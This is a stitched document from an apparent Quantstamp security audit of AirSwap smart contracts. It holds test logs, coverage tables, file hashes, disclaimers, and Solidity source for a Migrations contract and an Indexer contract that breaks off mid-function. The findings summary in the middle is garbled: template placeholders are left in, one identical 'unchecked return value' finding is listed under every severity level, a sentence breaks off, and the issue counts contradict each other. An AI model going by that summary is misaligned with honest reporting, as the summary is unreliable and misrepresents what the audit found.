incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/index/contracts/Index.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; import "@airswap/delegate-factory/contracts/DelegateFactory.sol"; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/types/contracts/Types.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; import "@airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol"; import "@airswap/index/contracts/Index.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Indexer: A Collection of Index contracts by Token Pair */ contract Indexer is IIndexer, Ownable { // Token to be used for staking (ERC-20) IERC20 public stakingToken; // Mapping of signer token to sender token to index mapping (address => mapping (address => Index)) public indexes; // Mapping of token address to boolean mapping (address => bool) public tokenBlacklist; // The whitelist contract for checking whether a peer is whitelisted address public locatorWhitelist; // Boolean marking when the contract is paused - users cannot call functions when true bool public contractPaused; /** * @notice Contract Constructor * @param indexerStakingToken address */ constructor( address indexerStakingToken ) public { stakingToken = IERC20(indexerStakingToken); } /** * @notice Modifier to prevent function calling unless the contract is not paused */ modifier notPaused() { require(!contractPaused, "CONTRACT_IS_PAUSED"); _; } /** * @notice Modifier to prevent function calling unless the contract is paused */ modifier paused() { require(contractPaused, "CONTRACT_NOT_PAUSED"); _; } /** * @notice Modifier to check an index exists */ modifier indexExists(address signerToken, address senderToken) { require(indexes[signerToken][senderToken] != Index(0), "INDEX_DOES_NOT_EXIST"); _; } /** * @notice Set the address of an ILocatorWhitelist to use * @dev Allows removal of locatorWhitelist by passing 0x0 * @param newLocatorWhitelist address Locator whitelist */ function setLocatorWhitelist( address newLocatorWhitelist ) external onlyOwner { locatorWhitelist = newLocatorWhitelist; } /** * @notice Create an Index (List of Locators for a Token Pair) * @dev Deploys a new Index contract and stores the address. If the Index already * @dev exists, returns its address, and does not emit a CreateIndex event * @param signerToken address Signer token for the Index * @param senderToken address Sender token for the Index */ function createIndex( address signerToken, address senderToken ) external notPaused returns (address) { // If the Index does not exist, create it. if (indexes[signerToken][senderToken] == Index(0)) { // Create a new Index contract for the token pair. indexes[signerToken][senderToken] = new Index(); emit CreateIndex(signerToken, senderToken); } // Return the address of the Index contract. return address(indexes[signerToken][senderToken]); } /** * @notice Add a Token to the Blacklist * @param token address Token to blacklist */ function addTokenToBlacklist( address token ) external onlyOwner { if (!tokenBlacklist[token]) { tokenBlacklist[token] = true; emit AddTokenToBlacklist(token); } } /** * @notice Remove a Token from the Blacklist * @param token address Token to remove from the blacklist */ function removeTokenFromBlacklist( address token ) external onlyOwner { if (tokenBlacklist[token]) { tokenBlacklist[token] = false; emit RemoveTokenFromBlacklist(token); } } /** * @notice Set an Intent to Trade * @dev Requires approval to transfer staking token for sender * * @param signerToken address Signer token of the Index being staked * @param senderToken address Sender token of the Index being staked * @param stakingAmount uint256 Amount being staked * @param locator bytes32 Locator of the staker */ function setIntent( address signerToken, address senderToken, uint256 stakingAmount, bytes32 locator ) external notPaused indexExists(signerToken, senderToken) { // If whitelist set, ensure the locator is valid. if (locatorWhitelist != address(0)) { require(ILocatorWhitelist(locatorWhitelist).has(locator), "LOCATOR_NOT_WHITELISTED"); } // Ensure neither of the tokens are blacklisted. require(!tokenBlacklist[signerToken] && !tokenBlacklist[senderToken], "PAIR_IS_BLACKLISTED"); bool notPreviouslySet = (indexes[signerToken][senderToken].getLocator(msg.sender) == bytes32(0)); if (notPreviouslySet) { // Only transfer for staking if stakingAmount is set. if (stakingAmount > 0) { // Transfer the stakingAmount for staking. require(stakingToken.transferFrom(msg.sender, address(this), stakingAmount), "UNABLE_TO_STAKE"); } // Set the locator on the index. indexes[signerToken][senderToken].setLocator(msg.sender, stakingAmount, locator); emit Stake(msg.sender, signerToken, senderToken, stakingAmount); } else { uint256 oldStake = indexes[signerToken][senderToken].getScore(msg.sender); _updateIntent(msg.sender, signerToken, senderToken, stakingAmount, locator, oldStake); } } /** * @notice Unset an Intent to Trade * @dev Users are allowed to unstake from blacklisted indexes * * @param signerToken address Signer token of the Index being unstaked * @param senderToken address Sender token of the Index being staked */ function unsetIntent( address signerToken, address senderToken ) external notPaused { _unsetIntent(msg.sender, signerToken, senderToken); } /** * @notice Unset Intent for a User * @dev Only callable by owner * @dev This can be used when contractPaused to return staked tokens to users * * @param user address * @param signerToken address Signer token of the Index being unstaked * @param senderToken address Signer token of the Index being unstaked */ function unsetIntentForUser( address user, address signerToken, address senderToken ) external onlyOwner { _unsetIntent(user, signerToken, senderToken); } /** * @notice Set whether the contract is paused * @dev Only callable by owner * * @param newStatus bool New status of contractPaused */ function setPausedStatus(bool newStatus) external onlyOwner { contractPaused = newStatus; } /** * @notice Destroy the Contract * @dev Only callable by owner and when contractPaused * * @param recipient address Recipient of any money in the contract */ function killContract(address payable recipient) external onlyOwner paused { selfdestruct(recipient); } /** * @notice Get the locators of those trading a token pair * @dev Users are allowed to unstake from blacklisted indexes * * @param signerToken address Signer token of the trading pair * @param senderToken address Sender token of the trading pair * @param cursor address Address to start from * @param limit uint256 Total number of locators to return * @return bytes32[] List of locators * @return uint256[] List of scores corresponding to locators * @return address The next cursor to provide for pagination */ function getLocators( address signerToken, address senderToken, address cursor, uint256 